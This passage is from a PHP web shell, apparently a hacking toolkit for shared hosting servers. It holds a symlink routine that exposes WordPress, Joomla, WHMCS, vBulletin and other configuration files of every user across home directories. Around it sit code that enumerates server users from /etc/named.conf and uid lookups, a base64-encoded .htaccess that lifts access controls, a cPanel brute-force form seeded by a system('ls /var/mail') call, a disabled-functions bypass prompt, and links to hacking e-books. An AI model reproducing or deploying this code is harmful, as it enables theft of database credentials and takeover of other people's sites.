symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
}
$d0mains = @file("/etc/named.conf");
if($d0mains)
{
mkdir($fn);
chdir($fn);
foreach($d0mains as $d0main)
{
if(eregi("zone",$d0main))
{
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2)
{
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
syml($user['name'],$domains[1][0]);
}
}
}
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
else
{
mkdir($fn);
chdir($fn);
$temp = "";
$val1 = 0;
$val2 = 1000;
for(;$val1 <= $val2;$val1++)
{
$uid = @posix_getpwuid($val1);
if ($uid)
$temp .= join(':',$uid)."
";
}
echo '<br/>';
$temp = trim($temp);
$file5 = fopen("test.txt","w");
fputs($file5,$temp);
fclose($file5);
$htaccess =
'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
$file = fopen("test.txt", "r") or exit("Unable to open file!");
while(!feof($file))
{
$s = fgets($file);
$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
syml($matches,$matches);
}
fclose($file);
echo "</table>";
unlink("test.txt");
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
?>
<form method="POST" target="_blank">
<strong>
<input name="page" type="hidden" value="find"><table>
</strong><br><br><center><font size="5" style="italic" color="#00ff00">=[ Cpanel BruteForce ]=</font></center><br><br>
<table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<center><b><font size="5" style="italic" color="#00ff00">Cpanel BruteForce</font></b></center></td></tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>User :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="usernames"><?php system('ls /var/mail');?></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Pass :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="passwords"></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Type :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<span class="style2"><strong>Simple : </strong> </span>
<strong>
<input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
<font class="style2"><strong>/etc/passwd : </strong> </font>
<strong>
<input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
</strong>
</span>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="start">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
<input name="mendapatkan" type="hidden" value="passwd">
</strong>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
<td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="foldername" type="text"></strong></td>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
<input name="pass" type="hidden" value="password">
</strong>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
<td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="url" type="text"></strong></td>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info
Security</strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<strong>
<?php
$safe_mode = ini_get('safe_mode');
if($safe_mode=='1')
{
echo 'ON';
}else{
echo 'OFF';
}
?>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<strong>
<form method="POST" target="_blank">
<strong>
<input name="matikan" type="hidden" value="sekatan">
</strong>
<?php
if(''==($func=@ini_get('disable_functions')))
{
echo "<font color=#00ff00>No Security for Function</font></b>";
}else{
echo '<script>alert("Please see below and press >Please Click Here First!<");</script>';
echo "<font color=red>$func</font></b>";
echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
</strong>
</td></tr>';
}
?></strong></td></tr></table></table></table>
<?
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'tutor'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=tutor" method="post">
<center><br><br><b>+--=[ Tutorial & Ebook hacking ]=--+</b><br>
<form method="post" action="">
<table class="tabnet" border="1" >
<tr>
<td align="center">English</td><td align="center">Indonesian</td>
</tr>
<tr>
<td><form method="post" action="">
E-book Hacking :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="tutorial24" > Hacking Exposed-5 </option>
<option value="tutorial25"> Internet Denial Of Service </option>
<option value="tutorial26">Computer Viruses For Dummies</option>
<option value="tutorial27">Hack Attacks Testing</option>
<option value="tutorial28">Secrets Of A Super Hacker</option>
<option value="tutorial29">Stealing The Network</option>
<option value="tutorial30">Hacker's HandBook</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</td></form>
<td><form method="post" action="">
Tutorial by X'1N73CT :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="tutorial2">Search Engine Hacking</option>
<option value="tutorial3">SQL Injection dengan hackbar</option>
<option value="tutorial1" >Bypass Union</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</form></td>
</tr>
<tr>
<td>
<form method="post" action="">
E-Book from Syn|gress :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="cryptography_for_defeloper">Cryptography for Developer</option>
<option value="tutorial31">Mobile Malware Attack and Defense</option>
<option value="forensic">CD and DVD Forensic</option>
<option value="ddd">Open Sourch Security Tools</option>
<option value="metasploit">Metaslpoit Toolkit</option>
<option value="stealing_network">Stealing the Network</option>
<option value="security_polices">Creating Security Polices</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</form></td>
<td>
<form method="post" action="">
X-CODE MAGAZINE :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="tutorial4">X-CODE MAGAZINE 1</option>
<option value="tutorial5">X-CODE MAGAZINE 2</option>
<option value="tutorial6">X-CODE MAGAZINE 3</option>
<option value="tutorial7">X-CODE MAGAZINE 4</option>
<option value="tutorial8">X-CODE MAGAZINE 5</option>
<option value="tutorial9">X-CODE MAGAZINE 6</option>
<option value="tutorial10">X-CODE MAGAZINE 7</option>
<option value="tutorial11">X-CODE MAGAZINE 8</option>
<option value="tutorial12">X-CODE MAGAZINE 9</option>
<option value="tutorial13">X-CODE MAGAZINE 10</option>
<option value="tutorial14">X-CODE MAGAZINE 11</option>
<option value="tutorial15">X-CODE MAGAZINE 12</option>
<option value="tutorial16">X-CODE MAGAZINE 13</option>
<option value="tutorial17">X-CODE MAGAZINE 14</option>
<option value="tutorial18">X-CODE MAGAZINE 15</option>
<option value="tutorial19">X-CODE MAGAZINE 16</option>
<option value="tutorial20">X-CODE MAGAZINE 17</option>
<option value="tutorial21">X-CODE MAGAZINE 18</option>
<option value="tutorial22">X-CODE MAGAZINE 19</option>
<option value="tutorial23">X-CODE MAGAZINE 20</option>
<option value="tutorial024">X-CODE MAGAZINE 21</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download" ></a>
</form></td></tr></table><br><br>
<?php
$submit = $_POST ['submit'];
if(isset($submit)) {
$pilih = $_POST['pilih'];
if ( $pilih == 'tutorial1') {
?>
<script>
document.location = 'http://www.pharmconseil-elearning.com/main/upload/by_passing_illegal_mix_of_collations_for_operation__union__by_x_1n73ct.pdf';
</script>
<?php
}
elseif ( $pilih == 'tutorial2') {
?>
<script>
document.location = 'http://www.pharmconseil-elearning.com/main/upload/Search_engine_hacking_by_x_1n73ct.pdf';
</script>
<?php
}
elseif ( $pilih == 'tutorial3') {
?>
<script>
document.location = 'http://www.pharmconseil-elearning.com/main/upload/Sql_injection_dengan_hackbar.pdf';
</script>
<?php
}
elseif ( $pilih == 'tutorial4') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_1.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial5') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_2.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial6') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_3.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial7') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_4.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial8') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_5.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial9') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_6.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial10') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_7.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial11') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_8.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial12') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode9.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial13') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode10.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial14') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode11.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial15') {
?>
<script>
document.location = 'http://xcode.or.id/files/Xcode12.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial16') {
?>
<script>
document.location = 'http://xcode.or.id/files/Xcode13.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial17') {
?>
<script>
document.location = 'http://xcode.or.id/files/Xcode14.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial18') {
?>
<script>
document.location = 'http://xcode.or.id/Xcode15.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial19') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_16.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial20') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_17.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial21') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_18.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial22') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_19.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial23') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_20.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial024') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_21.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial24') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/hacking_exposed_5.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial25') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/internet_denial_of_service.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial26') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/computer_viruses_for_dummies.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial27') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/hack_attacks_testing.rar';
</script>
<?php
}
